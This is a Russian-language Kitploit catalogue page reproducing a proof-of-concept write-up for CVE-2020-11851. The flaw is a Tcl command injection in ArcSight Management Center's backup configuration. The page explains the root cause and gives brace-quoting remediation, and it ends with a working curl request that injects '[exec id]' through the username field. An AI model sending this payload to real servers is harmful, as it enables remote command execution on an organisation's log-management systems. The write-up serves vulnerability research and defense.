Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-11851 — Уязвимость удаленного выполнения кода в ArcSight Logger | Kitploit
Инструменты/GitHubGitHub/ch1nghz/cve-2020-11851
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеИнструмент Удаленного Доступа
GitHubch1nghz/cve-2020-11851

CVE-2020-11851

Уязвимость удаленного выполнения кода в ArcSight Logger

Репозиторий
2015 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-11851

Уязвимость удаленного выполнения кода в ArcSight Logger (через ArcSight Management Center)

https://nvd.nist.gov/vuln/detail/CVE-2020-11851

Основные выводы

Описание уязвимости

ArcSight Logger — это комплексное решение для управления журналами, которое снижает нагрузку, связанную с соблюдением нормативных требований, и ускоряет криминалистическое исследование для специалистов по безопасности, объединяя и храня журналы машинных данных из разных источников в организации, а также обеспечивая быстрый поиск и составление отчетов по этим данным.

ArcSight Management Center (ArcMC) — это централизованный центр управления безопасностью, который через единый интерфейс управляет крупными развертываниями решений ArcSight, таких как ArcSight Logger, ArcSight SmartConnectors (Connectors), ArcSight FlexConnectors и ArcSight Connector Appliance (ConApp).

Уязвимость может быть использована через функциональность резервного копирования ArcSight Management Center (версия: 2.7.1.2065.0). Эта опция резервного копирования работает с помощью «expect»-скриптов ArcSight Logger, которые используют язык Tool Command Language (Tcl). Уязвимость позволяет злоумышленникам выполнять произвольные команды Tcl. Данная уязвимость затрагивает продукт Micro Focus ArcSight Logger всех версий до 7.1.1.

Заключение

Сервер, на котором работает уязвимое программное обеспечение, может быть скомпрометирован злоумышленниками через RCE-уязвимость и стать плацдармом для дальнейших атак на серверы организации, что может привести к серьезному нарушению безопасности. Эта уязвимость может привести к потере, повреждению или раскрытию данных неавторизованным сторонам, утрате подотчетности или отказу в доступе.

Рекомендации

Рекомендуется проверить лучшие практики безопасности Tcl для «expect»-скриптов. Как правило, использование фигурных скобок в eval безопасно, как показано ниже:

root@kitploit:~
eval puts $exploit   ;# уязвимо  

eval "puts $exploit" ;# уязвимо

eval {puts $exploit} ;# безопасно

Дополнительную информацию можно найти здесь: https://wiki.tcl-lang.org/page/Injection+Attack

Техническое описание

В этом разделе описаны векторы внедрения команд, которые можно использовать для обнаружения уязвимости в ArcSight Logger. Следующие заголовки можно использовать для воспроизведения шагов атаки.

Изучение уязвимой опции резервного копирования

На вкладке администрирования есть опция резервного копирования.

1

Как мы видим, можно настроить удаленный сервер резервного копирования с помощью протокола SCP. После нажатия кнопки «Save» я отладил серверные процессы с помощью инструмента «pspy», который можно скачать здесь: https://github.com/DominicBreuker/pspy/releases

Отладка сервера и анализ первопричин

После сохранения конфигурации резервного копирования я обнаружил, что приложение использует bash-скрипт для проверки SSH-сервера, как показано ниже (обратите внимание на PID 95427):

2

Вот более подробная команда (PID 95427) для объяснения:

sh /opt/arcsight/current/arcsight/arcmc/config/logger/runexpect.sh /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/ /opt/arcsight/current/arcsight/arcmc/bin/filetransfer/lib/expect /opt/arcsight/current/arcsight/arcmc/tmp/scp.expect.dir.backup1 UserSuppliedPassword UserSuppliedUsernameAndHostname UserSuppliedPortNumber UserSuppliedBackupDirectory

Давайте посмотрим на содержимое «runexpect.sh» и «scp.expect.dir.backup1» (expect-скрипт) перед объяснением логики «runexpect.sh».

Вот содержимое «runexpect.sh»:

root@kitploit:~
#!/bin/sh  
	  
# Set LD_LIBRARY_PATH  
	  
export LD_LIBRARY_PATH=$1  
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH  
shift  
echo "Running command: $*"  
$*  
	  
exit $? 

А вот содержимое expect-скрипта с именем «scp.expect.dir.backup1»:

root@kitploit:~
set password [lindex $argv 0]  
set host [lindex $argv 1]  
set port [lindex $argv 2]  
set dir [lindex $argv 3]  
eval spawn ssh -p $port $host test -d $dir && echo exists  //Уязвимость начинается здесь
expect "*(yes/no)?*$" { send "yes\n" }  
set timeout 600  
expect "*assword:*$" { send "$password\n" } \  
timeout { exit 1 }  
set timeout -1  
expect "\\$ $" 

Как мы видим, «runexpect.sh» устанавливает переменную окружения (LD_LIBRARY_PATH), а затем выполняет бинарный файл «expect» с помощью expect-скрипта «scp.expect.dir.backup1». Этот expect-скрипт получает 4 аргумента для использования их в команде «ssh».

Фактическая уязвимость начинается на 5-й строке скрипта с именем «scp.expect.dir.backup1». Как мы упоминали ранее, без фигурных скобок пользовательские данные могут быть очень опасны в Tcl-скриптах.

Получение выполнения кода

Поскольку эта уязвимость выполнения кода полностью слепая, я использовал простейший способ для демонстрации выполнения. Я использовал инструмент «pspy» для отладки процессов и иллюстрации произвольного выполнения кода путем отправки вредоносного HTTP-запроса.

Вот логика, которую я хотел, чтобы expect-скрипт выполнил:

root@kitploit:~
eval spawn ssh –p [exec id]  test –d fakehostname && echo exists
[exec : это argv1
id] : это argv2
fakehostname : это argv3
Ожидаемое поведение будет таким:
eval spawn ssh –p результат_команды_id test –d fakehostname && echo exists
# Потому что [ ] в Tcl выглядит как `` в bash. Для получения дополнительной информации о синтаксисе Tcl посетите https://wiki.tcl-lang.org/welcome

Давайте объясним, как этого добиться. Если я вставлю пробелы среди «строк» в параметре «field-username» соответствующего HTTP-запроса, они непреднамеренно будут переданы в expect-скрипт, так как скрипт не проверяет количество аргументов. Это означает, что я могу внедрить [exec в качестве номера порта и id] в качестве имени пользователя. Обычно я не мог внедрить параметр номера порта соответствующего HTTP-запроса из-за проверки ввода (должен содержать только цифры).

После отправки приведенного ниже HTTP-запроса я успешно выполнил команду и вывел ее результат с помощью инструмента «pspy».

3

4

Вот соответствующий CURL-запрос, который я использовал для эксплуатации уязвимости (пожалуйста, измените токены, связанные с сессией, и цель):

root@kitploit:~
curl -i -s -k  -X $'POST' \
    -H $'Host: TARGET' -H $'User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0' -H $'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'X-Prototype-Version: 1.5.1.2' -H $'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 463' -H $'Origin: https://hq-arc-mgmt' -H $'Connection: close' -H $'Referer: https://TARGET/arcmc/stand_alone_backup_config.ftl?menu_id=admin' -H $'Cookie: JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    -b $'JSESSIONID=C49A27CF695535133EA896C38A41452A; com.arcsight.product.platform.logger.client.session.SessionContext.productName=\"ArcSight Management Center\"; com.arcsight.product.platform.logger.client.session.SessionContext.arcsightProductName=\"ArcSight Management Center\"; session_string=f2k5OHLthMlDaxUI6HMiah36hzg_sfwlqxEv24LKVAk.; user_id_seq=8' \
    --data-binary $'editid=backup1&update=true&cancelurl=config_home.ftl&previousSubmit=false&asf_token=e151b811-42d6-4220-88cc-c20832597de9&field-protocol=SCP&field-port=22&field-host=originalHostInput&field-username=id]+[exec+fakeuser@fakeHostInput&field-password=fakePasswordInput123&field-filepath=%2Fbackup&schedule-editor-command1=everyday&schedule-editor-args1=&schedule-editor-command2=daily&schedule-editor-args2=12&schedule-editor-every-duration=hours&field-excludedata=All' \
    $'https://TARGET/arcmc/stand_alone_backup_config_edit.ftl?&asf_token=e151b811-42d6-4220-88cc-c20832597de9'
Скачать инструмент